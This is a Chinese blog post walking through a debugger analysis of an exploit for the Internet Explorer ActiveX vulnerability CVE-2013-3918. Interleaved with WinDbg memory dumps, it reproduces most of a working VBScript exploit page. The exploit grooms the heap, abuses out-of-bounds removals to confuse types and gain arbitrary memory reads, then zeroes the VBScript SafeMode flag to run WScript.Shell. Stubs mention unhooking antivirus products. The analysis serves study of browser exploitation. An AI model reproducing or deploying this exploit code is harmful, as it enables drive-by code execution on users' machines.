注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

且行且记录

点滴记录,行的更远!

 
 
 

日志

 
 

dve3918利用调试分析  

2014-09-15 08:20:09|  分类: 原理分析 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

dve3918利用调试分析
hcper @ 2014-9-14

这两三天无聊就调试了一下dve3918。
如果不从二进制方面调试一下的话,就感觉云里雾里。
这个利用比较通用,主要是通过清除vbscript的安全模式为零,达到运行目的的。
但是脚本层面如何定位这个变量的地址是个问题。
漏洞层面提供的功能是可以越界操作内存,可以移动数据。
这个利用先是占用一段内存,释放一些内存制造一些坑,后续分配的内部数组就紧靠布局数据。
(不清楚内存的分配机制,感觉是为了可以预测或者分配呈现线性)
然后利用漏洞功能移动数据,把某项布局数据的尾部清零。
脚本层面通过对应关系再找出这个数组项,改写成特殊值,再利用漏洞功能移动数据,
改写数组中的数组的某项成为数组,以及泄露一个变量的地址作为操作空间。
这样就可以定位到任意地址了。
之后利用一个vbscript的null值初始化缺陷,通过混淆类型得到它的CScriptEntryPoint地址,
通过相关关系得到safemode地址。
清零后就可以执行了。

<!doctype html>
<html>
<head>
</head>
<body>
<p> cve_2013_3918 for http://xp.erangelab.com/ version.bypass baidu\jinshan\bxy...<p>
<p> exp for xp\win2k\win2003\vista\win7\win8.1.<p>
<p> dve copy by yuange1975 in 2009, anti dep+aslr+emet+cfi.<p> 
<p> win7 del HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{19916E01-B44E-4E31-94A4-4696DF46157B}]  "Compatibility
Flags"=dword:04000400 <p>
<SCRIPT LANGUAGE="VBScript">
function runmuma()
 On Error Resume Next
 set WshShell = CreateObject("WScript.Shell")
 wexec=""
 set wexec=WshShell.run("calc.exe")
 set file = CreateObject("Scripting.FileSystemObject")
 'msgbox "ftp your file."
end function
</script>

<SCRIPT LANGUAGE="VBScript">
  On Error Resume Next
  set obj=document.CreateElement("object")
  obj.classid="clsid:19916E01-B44E-4E31-94A4-4696DF46157B"
  Set Req = obj.RequiredClaims
  dim a(300)
  dim i,j
  dim add
  dim num
  dim vbadd
  //add=&h010f00     
  num=200
  Begin()
   'msgbox j
  setnotsafemode()

function Begin()
  On Error Resume Next
  dim i
  myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
  myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

类型混淆用的myarray如下:
0:003> dd 004887d8-8
004887d0  baad/0008/ baadf00d /00171594/ baadf00d

0:003> dc 00171594-10
00171584  00000000 00050008 00200798 00000018  .......... .....
/00171594/  08800001 00000001 00000000 00000000  ................
/001715a4/  7fff0000 00000000

0:003> dw 00171594
/00171594/  0001 0880 0001 0000 0000 0000 0000 0000
/001715a4/  0000 7fff 0000 0000

  mystr=chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)

用于后续操作空间用的mystr:
0:020> dd 0018af9c-10
0018af8c  77da6b95 e9b4b142 ff0801ec /0000002c/
0018af9c  /00000000 00000000 00000000 00000000
0018afac  00000000 00000000 00000000 00000000
0018afbc  00000000 00000000 00000000/

  For i=0 to num
    a(i)= Array(0.0,0.0,myarray,0.0,9.52510864539202e-307)
  Next

数组中的数组如下:
'00183798  baad/0005/ baadf00d /00000000 00000000/  ................
'001837a8  baad/0005/ baadf00d /00000000 00000000/  ................
'001837b8  0000/0008/ 00000000 /0018336c/ 00000000  ........l3......
'001837c8  baad/0005/ baadf00d /00000000 00000000/  ................
'001837d8  baad/0005/ baadf00d /61757902 0065676e/  .........yuange.


  For i=num-50 to num-10
    a(i)=0 '做一些坑,让后续能分配到靠近数组
  Next 
 
  For i=0 to 11
    Req.add(CStr(i)) 这里建立内部数组
  Next

  For i=num-50 to num+99 继续分配
    a(i)= Array(0.0,0.0,myarray,0.0,9.52510864539202e-307)
  Next
 
0:008> dd 02a744a0 l8
02a744a0  03aa27d4 00000003 /0000000c/ /03577548/ innerarray
02a744b0  0003000e 010c0100 02a731b0 00010936
0:008> dd 03577548 l8
03577548  01800001 00000004 00000000 /03577d98/
03577558  /00000014/ 00000000 e9def634 ff080100

0:008> dd 03577d98-60
03577d38  e9def7df ff080100 00300005 002e0030
03577d48  00000000 00000000 006e0005 002a002f
03577d58  00000000 00000000 00000008 00000000
03577d68  03553344 00000000 00000005 00000000
03577d78  00000000 00000000 00000005 00000000
03577d88  61757902 0065676e e9def7ca ff080100 前面能够看到布置的内容
03577d98* /0018e1ec 0018e4ec 0018e4d4 0018e4bc 里面添加的12个字符串地址
03577da8  0018e54c 0018e3fc 0018e3e4 0018e384
03577db8  0018e39c 0018e354 0018e3cc 0018e42c
03577dc8  00000000 00000000 00000000 00000000
03577dd8  00000000 00000000 00000000 00000000/
03577de8  e9def7c5 ff080100 00300005 002e0030 后面也能看到布置的内容
03577df8  00000000 00000000 006e0005 002a002f
03577e08  00000000 00000000 00000008 00000000
03577e18  03576d8c 00000000 00000005 00000000
03577e28  00000000 00000000 00000005 00000000
03577e38  61757902 0065676e e9def7b0 ff080100
03577e48  00300005 002e0030 00000000 00000000

  For i=Req.length to 0 step -1
     Req.remove(CLng(i))
  Next

全部删掉原有内容,到零时越界往前清零

0:008> dd 03577d98-60
03577d38  e9def7df ff080100 00300005 002e0030
03577d48  00000000 00000000 006e0005 002a002f
03577d58  00000000 00000000 0000/0008/ 00000000
03577d68  /03553344/ 00000000 0000/0005/ 00000000
03577d78  /00000000 00000000/ 0000/0005/ 00000000
03577d88  /61757902 0065676e/ e9def7ca ff080100  这行以及前面的几行可以看到布置的内容!
03577d98* /00000000 00000000 00000000 00000000 这行已经全部清空了,再remove(0)就越界了
03577da8  00000000 00000000 00000000 00000000

  For i=-1  to -1000 step  -1
     Req.remove(CLng(i))

继续往前挪清零,并查找被修改的对应数组项
0:010> dd 03577d98-60
03577d38  e9def7df ff080100 00300005 002e0030
03577d48  00000000 00000000 006e0005 002a002f
03577d58  00000000 00000000 00000008 00000000
03577d68  03553344 00000000 00000005 00000000
03577d78  00000000 00000000 00000005 00000000
03577d88  61757902 /00000000 00000000 00000000/ 这越界的三个被清零
03577d98* 00000000 00000000 00000000 00000000


034e8fc8  0161/200c/ 02a73508 /035774b8/ 0161d360 //a(j)=a(150) 找到被清零的数组元素

0:008> dd 035774b8 l8
035774b8  08800001 00000010 00000000 /03577d40/
035774c8  00000005 00000000 e9def602 ff080100
0:008> dd 03577d40
03577d40  00300005 002e0030 00000000 00000000
03577d50  006e0005 002a002f 00000000 00000000
03577d60  00000008 00000000 03553344 00000000
03577d70  00000005 00000000 00000000 00000000
03577d80  00000005 00000000 61757902 /00000000/ 这里的数值部分被清零
03577d90  00000000 00000000 00000000 00000000

     For j=num+99 to  0  step -1   
       if ( a(j)(4) <1.0e-307) Then

     找到后修改内容
     Req.add("a")
     Req.add("b")
     a(j)(4)=mystr

0:020> dd 030be4a0
030be4a0  00310005 00000000 00000000 00000000
030be4b0  002f0005 000d002a 00000000 00000000
030be4c0  00000008 00000000 /030bc12c/ 00000000 //myarray
030be4d0  00000005 00000000 00000000 00000000
030be4e0  0161/0008/ 7328164a /030980f4/ 0161d4d8 //a(j)(4)=mystr
030be4f0  03087eac 00000000 00000000 00000000
030be500  00000000 00000000 00000000 00000000
030be510  00000000 00000000 00000000 00000000

     Req.remove(CLng(i-18))             
     Req.remove(CLng(i-18))

数据往前挪,后面的数据移到了前面位置
0:001> dd 030be4a0
030be4a0  00310005 00000000 /002f0005 000d002a
030be4b0  00000000 00000000 00000008 00000000
030be4c0  030bc12c 00000000 00000005 00000000
030be4d0  00000000 00000000 01610008 7328164a
030be4e0  030980f4 0161d4d8 03087eac/ 00000000
030be4f0  00000000 00000000 00000000 00000000
030be500  00000000 00000000 00000000 00000000

     Req.add("c")
     Req.add("d")

     a(j)(0)=0.0
     a(j)(1)=1.74088534731324E-310
     a(j)(3)=6.36598737437801E-314

0:001> dd 030be4a0 赋过值的内存
030be4a0  02a70005 0161d3a8 00000000 00000000 //a(j)(0)
030be4b0  02a70005 0161d3a8 0000200c 0000200c //a(j)(1)
030be4c0  030bc12c 00000000 00000005 00000000
030be4d0  02a70005 0161d3a8 00000003 00000003 //a(j)(3)
030be4e0  030980f4 0161d4d8 03087eac 030bc104
030be4f0  00197d5c 00000000 00000000 00000000
030be500  00000000 00000000 00000000 00000000
030be510  00000000 00000000 00000000 00000000

     Req.remove(CLng(i-18)) 往前挪
     Req.remove(CLng(i-18)) 往前挪

     add=a(j)(3)+16

不断的往前挪,改写了a(j)(1)类型,并得到mystr地址,mystr主要用于提供操作空间
0:001> dd 030be4a0
030be4a0  02a70005 0161d3a8 02a70005 0161d3a8
030be4b0  0000/200c/ 0000200c /030bc12c/ 00000000 //a(j)(1)类型变成数组
030be4c0  00000005 00000000 02a70005 0161d3a8
030be4d0  0000/0003/ 00000003 /030980f4/ 0161d4d8 //a(j)(3)=mystr
030be4e0  03087eac 030bc104 00197d5c 00000000
030be4f0  00000000 00000000 00000000 00000000
030be500  00000000 00000000 00000000 00000000

0:001> dd 030980f4-10
030980e4  000002da eacc4825 ff080161 0000002c
030980f4* 00000000 00000000 00000000 00000000   mystr地址=030980f4
03098104  /00000000 00000000 00000000 00000000/ add地址=03098104
03098114  00000000 00000000 00000000

     i=-1000
     exit for
        End if      
    Next   
 Next
                     
 For i=Req.length to 0
     Req.add(Cstr(i))
 Next
end function

sub testaa()
end Sub

function mydata()
    On Error Resume Next
    i=testaa
    i=Null 这里部分初始化,上面那句的CScriptEntryPoint对象地址残留在i里
   
    a(j)(1)(add)=0 短整数
    a(j)(1)(add)=i
    a(j)(1)(add-8)=3 短整数,使这个变量变为长整数,可以读出来
    mydata=a(j)(1)(add)

0:001> dc 030980f4-10
030980e4  000002da eacc4825 ff080161 0000002c
030980f4  00000000 00000000 ffff0002 7c930222
03098104  02a7/0003/ 7c9301db /02a74318/ 7c9301db 通过改变类型泄露CScriptEntryPoint对象地址

0:001> dds 02a74318 l8
02a74318  73274e48 vbscript!CScriptEntryPoint::`vftable'
02a7431c  00000001
02a74320  02a742c0
02a74324  02a8eaf8
02a74328  02a91614
02a7432c  00000000
02a74330  02a742c0
02a74334  02a73a78

end function


function setnotsafemode()
    On Error Resume Next
    i=mydata() 
    vbadd=readmemo(i) 
    i=readmemo(i+8)
    i=readmemo(i+16) 
    mode=readmemo(i+&h134)

得到CScriptEntryPoint对象地址过后就可以按结构关系找到COleScript对象了
0:001> dds 02a74988 l8
/02a74988/  73274e48 vbscript!CScriptEntryPoint::`vftable'
02a7498c  00000001
02a74990  /02a74010/ 偏移8的地方
02a74994  02a8eaf8
02a74998  02a91548
02a7499c  00000000
02a749a0  02a74010
02a749a4  02a73750

0:001> dds 02a74010 l8
/02a74010/  0000000b
02a74014  00000000
02a74018  00000000
02a7401c  00000000
02a74020  /003bafe0/ 偏移16的地方
02a74024  02a73958
02a74028  003bb1b8
02a7402c  003ba3d0
0:001> dds 003bafe0 l8
003bafe0  73274790 vbscript!COleScript::`vftable'
003bafe4  73275188 vbscript!COleScript::`vftable'
.....
0:001> dds 003bafe0+174 l8
003bb154  /0000000e/ 我的偏移174h的地方是COleScript的SafeMode,设置为零就可以允许执行了。
这里好像是遍历这个对象里数值为0xe的地方改写为0,估计是为了通用。
  
    for k=0 to &h60 step 4
        mode=readmemo(i+&h120+k)              
        if(mode=14) then
   mode=0         
   a(j)(1)(i+&h11c+k)=a(j)(1)(add-16)
   mode=0
   mode=readmemo(i+&h120+k)
   Exit for
        end if
    next
 
    fuckhook()
    reset()
    runmuma()
end function

function ReadMemo(mem)
 On Error Resume Next
 a(j)(1)(add)=0  
 a(j)(1)(add)=mem+4    
 a(j)(1)(add-8)=8      
 ReadMemo=lenb(a(j)(1)(add))  通过改写为字符串,取字符串长来得到地址
 a(j)(1)(add-8)=0            
end function

function fuckhook()
 On Error Resume Next
 memadd=vbadd and &hffff0000
//* 摘除钩子、自由发挥 anti tx and bxy *//
end function

function reset()
    On Error Resume Next  
    a(j)(1)(add-8)=6.36598737437801E-314
    a(j)(4)=0  
    a(j)(3)=0    
    a(j)(2)=0         
   ' a(j)(1)=0
//* 恢复变量、修复内存管理结构,保证不崩。擂台赛版本,未做。 *//       
end function
</script>

</body>
</html>

  评论这张
 
阅读(456)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017